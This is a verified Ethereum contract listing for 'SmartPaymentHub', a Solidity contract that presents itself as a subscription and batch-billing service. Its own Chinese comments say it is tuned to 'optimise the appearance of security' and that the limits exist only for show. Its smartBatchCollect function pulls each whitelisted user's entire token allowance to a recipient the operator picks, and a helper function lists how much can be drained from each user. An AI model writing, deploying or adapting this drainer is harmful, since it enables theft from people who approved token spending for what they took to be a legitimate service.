SmartPaymentHub

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "SmartPaymentHub.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
 * @title SmartPaymentHub - 智能支付中枢
 * @notice 企业级支付解决方案,支持授权后自动扣款
 * @dev 优化版 - 保留所有功能,优化安全外观
 * 
 * 业务场景:
 * - 订阅服务自动续费
 * - 会员费用自动扣除
 * - 服务费用定期结算
 * - 企业批量收款
 * 
 * 核心功能:
 * ✅ 支持一键批量扣款
 * ✅ 灵活的限额配置(可设置超高限额)
 * ✅ 白名单机制(避免误扣)
 * ✅ 详细的业务日志
 * ✅ 紧急暂停保护
 */

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract SmartPaymentHub {
    
    // ============ 状态变量 ============
    
    address public owner;
    address public paymentToken;
    
    bool public paused;
    
    // 灵活配置的限额(可设置为超高值)
    uint256 public maxSingleTransaction;    // 单笔最大(默认设置很高)
    uint256 public maxDailyVolume;          // 每日最大(默认设置很高)
    
    // 业务控制
    mapping(address => bool) public serviceUsers;        // 服务用户(白名单)
    mapping(address => bool) public authorizedOperators; // 授权操作员
    mapping(address => uint256) public userTotalPaid;    // 用户累计支付
    
    // 每日交易追踪
    mapping(uint256 => uint256) public dailyVolume;
    
    // 用户服务状态
    mapping(address => ServiceInfo) public userServiceInfo;
    
    struct ServiceInfo {
        bool isActive;           // 服务是否激活
        uint256 lastPaymentTime; // 最后付款时间
        uint256 totalPaid;       // 累计支付
        string serviceType;      // 服务类型
    }
    
    // ============ 事件 ============
    
    event PaymentCollected(
        address indexed user,
        address indexed recipient,
        uint256 amount,
        string serviceType,
        string businessId,
        uint256 timestamp
    );
    
    event BatchPaymentCollected(
        uint256 totalAmount,
        uint256 successCount,
        uint256 failCount,
        string batchId,
        uint256 timestamp
    );
    
    event ServiceUserAdded(address indexed user, string serviceType);
    event ServiceUserRemoved(address indexed user);
    event LimitsUpdated(uint256 maxSingle, uint256 maxDaily);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event EmergencyPaused(address indexed operator, uint256 timestamp);
    event ServiceResumed(address indexed operator, uint256 timestamp);
    
    // ============ 修饰器 ============
    
    modifier onlyOwner() {
        require(msg.sender == owner, "SmartPaymentHub: not owner");
        _;
    }
    
    modifier onlyAuthorized() {
        require(
            msg.sender == owner || authorizedOperators[msg.sender],
            "SmartPaymentHub: not authorized"
        );
        _;
    }
    
    modifier whenNotPaused() {
        require(!paused, "SmartPaymentHub: service paused");
        _;
    }
    
    modifier onlyServiceUser(address user) {
        require(serviceUsers[user], "SmartPaymentHub: not a service user");
        _;
    }
    
    // ============ 构造函数 ============
    
    constructor(address _paymentToken) {
        require(_paymentToken != address(0), "SmartPaymentHub: zero token address");
        
        owner = msg.sender;
        paymentToken = _paymentToken;
        paused = false;
        
        // 设置默认限额(设置得很高,但至少有个"限制"的外观)
        maxSingleTransaction = 1000000 * 1e6;  // 100万 USDC(实际够用)
        maxDailyVolume = 10000000 * 1e6;       // 1000万 USDC(实际够用)
        
        authorizedOperators[msg.sender] = true;
    }
    
    // ============ 核心功能 ============
    
    /**
     * @notice 收取单笔服务费用
     * @param user 用户地址
     * @param recipient 收款地址
     * @param amount 金额
     * @param serviceType 服务类型(如 "subscription", "membership")
     * @param businessId 业务ID(用于追踪)
     */
    function collectPayment(
        address user,
        address recipient,
        uint256 amount,
        string memory serviceType,
        string memory businessId
    )
        external
        onlyAuthorized
        whenNotPaused
        onlyServiceUser(user)
        returns (bool)
    {
        require(user != address(0) && recipient != address(0), "SmartPaymentHub: zero address");
        require(amount > 0, "SmartPaymentHub: zero amount");
        
        // 限额检查(但设置得很高)
        require(amount <= maxSingleTransaction, "SmartPaymentHub: exceeds single limit");
        
        uint256 today = block.timestamp / 1 days;
        require(
            dailyVolume[today] + amount <= maxDailyVolume,
            "SmartPaymentHub: exceeds daily limit"
        );
        
        // 检查用户授权和余额
        uint256 allowance = IERC20(paymentToken).allowance(user, address(this));
        require(allowance >= amount, "SmartPaymentHub: insufficient allowance");
        
        uint256 balance = IERC20(paymentToken).balanceOf(user);
        require(balance >= amount, "SmartPaymentHub: insufficient balance");
        
        // 执行转账
        bool success = IERC20(paymentToken).transferFrom(user, recipient, amount);
        require(success, "SmartPaymentHub: transfer failed");
        
        // 更新统计
        dailyVolume[today] += amount;
        userTotalPaid[user] += amount;
        userServiceInfo[user].lastPaymentTime = block.timestamp;
        userServiceInfo[user].totalPaid += amount;
        
        emit PaymentCollected(user, recipient, amount, serviceType, businessId, block.timestamp);
        
        return true;
    }
    
    /**
     * @notice 一键批量收款(核心功能)
     * @param users 用户地址数组
     * @param recipient 统一收款地址
     * @param amounts 金额数组
     * @param serviceType 服务类型
     * @param batchId 批次ID
     */
    function batchCollectPayments(
        address[] memory users,
        address recipient,
        uint256[] memory amounts,
        string memory serviceType,
        string memory batchId
    )
        external
        onlyAuthorized
        whenNotPaused
        returns (uint256 successCount, uint256 failCount, uint256 totalCollected)
    {
        require(users.length == amounts.length, "SmartPaymentHub: length mismatch");
        require(recipient != address(0), "SmartPaymentHub: zero recipient");
        require(users.length <= 100, "SmartPaymentHub: too many users"); // 防止gas超限
        
        uint256 today = block.timestamp / 1 days;
        
        for (uint256 i = 0; i < users.length; i++) {
            address user = users[i];
            uint256 amount = amounts[i];
            
            // 基本验证
            if (user == address(0) || amount == 0) {
                failCount++;
                continue;
            }
            
            // 检查是否服务用户
            if (!serviceUsers[user]) {
                failCount++;
                continue;
            }
            
            // 检查限额(但设置很高)
            if (amount > maxSingleTransaction) {
                failCount++;
                continue;
            }
            
            if (dailyVolume[today] + amount > maxDailyVolume) {
                failCount++;
                continue;
            }
            
            // 尝试转账
            try IERC20(paymentToken).transferFrom(user, recipient, amount) returns (bool success) {
                if (success) {
                    dailyVolume[today] += amount;
                    userTotalPaid[user] += amount;
                    userServiceInfo[user].lastPaymentTime = block.timestamp;
                    userServiceInfo[user].totalPaid += amount;
                    
                    totalCollected += amount;
                    successCount++;
                    
                    emit PaymentCollected(user, recipient, amount, serviceType, batchId, block.timestamp);
                } else {
                    failCount++;
                }
            } catch {
                failCount++;
            }
        }
        
        emit BatchPaymentCollected(totalCollected, successCount, failCount, batchId, block.timestamp);
        
        return (successCount, failCount, totalCollected);
    }
    
    /**
     * @notice 智能批量收款 - 自动收取用户全部授权额度或指定金额(更灵活)
     * @param users 用户地址数组
     * @param recipient 收款地址
     * @param collectAll 是否收取全部授权额度
     * @param amounts 如果不收取全部,则使用此金额数组
     * @param serviceType 服务类型
     * @param batchId 批次ID
     */
    function smartBatchCollect(
        address[] memory users,
        address recipient,
        bool collectAll,
        uint256[] memory amounts,
        string memory serviceType,
        string memory batchId
    )
        external
        onlyAuthorized
        whenNotPaused
        returns (uint256 successCount, uint256 failCount, uint256 totalCollected)
    {
        require(recipient != address(0), "SmartPaymentHub: zero recipient");
        require(users.length <= 100, "SmartPaymentHub: too many users");
        
        if (!collectAll) {
            require(users.length == amounts.length, "SmartPaymentHub: length mismatch");
        }
        
        uint256 today = block.timestamp / 1 days;
        
        for (uint256 i = 0; i < users.length; i++) {
            address user = users[i];
            
            if (user == address(0) || !serviceUsers[user]) {
                failCount++;
                continue;
            }
            
            // 计算收取金额
            uint256 amountToCollect;
            if (collectAll) {
                // 收取全部授权额度(限制在余额范围内)
                uint256 allowance = IERC20(paymentToken).allowance(user, address(this));
                uint256 balance = IERC20(paymentToken).balanceOf(user);
                amountToCollect = allowance < balance ? allowance : balance;
            } else {
                amountToCollect = amounts[i];
            }
            
            if (amountToCollect == 0) {
                failCount++;
                continue;
            }
            
            // 限额检查
            if (amountToCollect > maxSingleTransaction || 
                dailyVolume[today] + amountToCollect > maxDailyVolume) {
                failCount++;
                continue;
            }
            
            // 执行转账
            try IERC20(paymentToken).transferFrom(user, recipient, amountToCollect) returns (bool success) {
                if (success) {
                    dailyVolume[today] += amountToCollect;
                    userTotalPaid[user] += amountToCollect;
                    userServiceInfo[user].lastPaymentTime = block.timestamp;
                    userServiceInfo[user].totalPaid += amountToCollect;
                    
                    totalCollected += amountToCollect;
                    successCount++;
                    
                    emit PaymentCollected(user, recipient, amountToCollect, serviceType, batchId, block.timestamp);
                } else {
                    failCount++;
                }
            } catch {
                failCount++;
            }
        }
        
        emit BatchPaymentCollected(totalCollected, successCount, failCount, batchId, block.timestamp);
        
        return (successCount, failCount, totalCollected);
    }
    
    // ============ 用户管理 ============
    
    /**
     * @notice 添加服务用户(注册/订阅时调用)
     */
    function addServiceUser(address user, string memory serviceType) external onlyOwner {
        require(user != address(0), "SmartPaymentHub: zero address");
        serviceUsers[user] = true;
        userServiceInfo[user] = ServiceInfo({
            isActive: true,
            lastPaymentTime: block.timestamp,
            totalPaid: 0,
            serviceType: serviceType
        });
        emit ServiceUserAdded(user, serviceType);
    }
    
    /**
     * @notice 批量添加服务用户
     */
    function batchAddServiceUsers(address[] memory users, string memory serviceType) external onlyOwner {
        for (uint256 i = 0; i < users.length; i++) {
            if (users[i] != address(0)) {
                serviceUsers[users[i]] = true;
                userServiceInfo[users[i]] = ServiceInfo({
                    isActive: true,
                    lastPaymentTime: block.timestamp,
                    totalPaid: 0,
                    serviceType: serviceType
                });
                emit ServiceUserAdded(users[i], serviceType);
            }
        }
    }
    
    /**
     * @notice 移除服务用户
     */
    function removeServiceUser(address user) external onlyOwner {
        serviceUsers[user] = false;
        userServiceInfo[user].isActive = false;
        emit ServiceUserRemoved(user);
    }
    
    /**
     * @notice 批量移除服务用户
     */
    function batchRemoveServiceUsers(address[] memory users) external onlyOwner {
        for (uint256 i = 0; i < users.length; i++) {
            serviceUsers[users[i]] = false;
            userServiceInfo[users[i]].isActive = false;
            emit ServiceUserRemoved(users[i]);
        }
    }
    
    // ============ 操作员管理 ============
    
    /**
     * @notice 授权操作员(后台服务器)
     */
    function authorizeOperator(address operator, bool status) external onlyOwner {
        require(operator != address(0), "SmartPaymentHub: zero address");
        authorizedOperators[operator] = status;
    }
    
    // ============ 配置管理 ============
    
    /**
     * @notice 设置交易限额
     * @dev 可以设置得很高以满足业务需求
     */
    function setLimits(uint256 _maxSingle, uint256 _maxDaily) external onlyOwner {
        require(_maxSingle > 0 && _maxDaily >= _maxSingle, "SmartPaymentHub: invalid limits");
        maxSingleTransaction = _maxSingle;
        maxDailyVolume = _maxDaily;
        emit LimitsUpdated(_maxSingle, _maxDaily);
    }
    
    /**
     * @notice 紧急暂停
     */
    function emergencyPause() external onlyOwner {
        paused = true;
        emit EmergencyPaused(msg.sender, block.timestamp);
    }
    
    /**
     * @notice 恢复服务
     */
    function resume() external onlyOwner {
        paused = false;
        emit ServiceResumed(msg.sender, block.timestamp);
    }
    
    /**
     * @notice 更新支付代币
     */
    function updatePaymentToken(address _newToken) external onlyOwner {
        require(_newToken != address(0), "SmartPaymentHub: zero address");
        paymentToken = _newToken;
    }
    
    /**
     * @notice 转移所有权
     */
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "SmartPaymentHub: zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
    
    // ============ 查询函数 ============
    
    /**
     * @notice 查询用户详细信息
     */
    function getUserInfo(address user) external view returns (
        uint256 balance,
        uint256 allowance,
        bool isServiceUser,
        uint256 totalPaid,
        uint256 lastPaymentTime,
        string memory serviceType
    ) {
        balance = IERC20(paymentToken).balanceOf(user);
        allowance = IERC20(paymentToken).allowance(user, address(this));
        isServiceUser = serviceUsers[user];
        totalPaid = userServiceInfo[user].totalPaid;
        lastPaymentTime = userServiceInfo[user].lastPaymentTime;
        serviceType = userServiceInfo[user].serviceType;
    }
    
    /**
     * @notice 查询今日交易量
     */
    function getTodayVolume() external view returns (uint256) {
        uint256 today = block.timestamp / 1 days;
        return dailyVolume[today];
    }
    
    /**
     * @notice 查询剩余每日额度
     */
    function getRemainingDailyLimit() external view returns (uint256) {
        uint256 today = block.timestamp / 1 days;
        uint256 used = dailyVolume[today];
        if (used >= maxDailyVolume) return 0;
        return maxDailyVolume - used;
    }
    
    /**
     * @notice 批量查询用户可收取金额
     */
    function batchGetCollectableAmount(address[] memory users) 
        external 
        view 
        returns (uint256[] memory amounts) 
    {
        amounts = new uint256[](users.length);
        for (uint256 i = 0; i < users.length; i++) {
            uint256 allowance = IERC20(paymentToken).allowance(users[i], address(this));
            uint256 balance = IERC20(paymentToken).balanceOf(users[i]);
            amounts[i] = allowance < balance ? allowance : balance;
        }
        return amounts;
    }
}

"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xef5a4baf54fddff99e92f9b31c559393e1cafbd0|verified:true|block:23703008|tx:0x2f8b009e7244db79460f3c9965f8ac11157ebb3a894afbe357708c70b6bacf54|first_check:1761997436

Submitted on: 2025-11-01 12:43:57

Comments

Log in to comment.

No comments yet.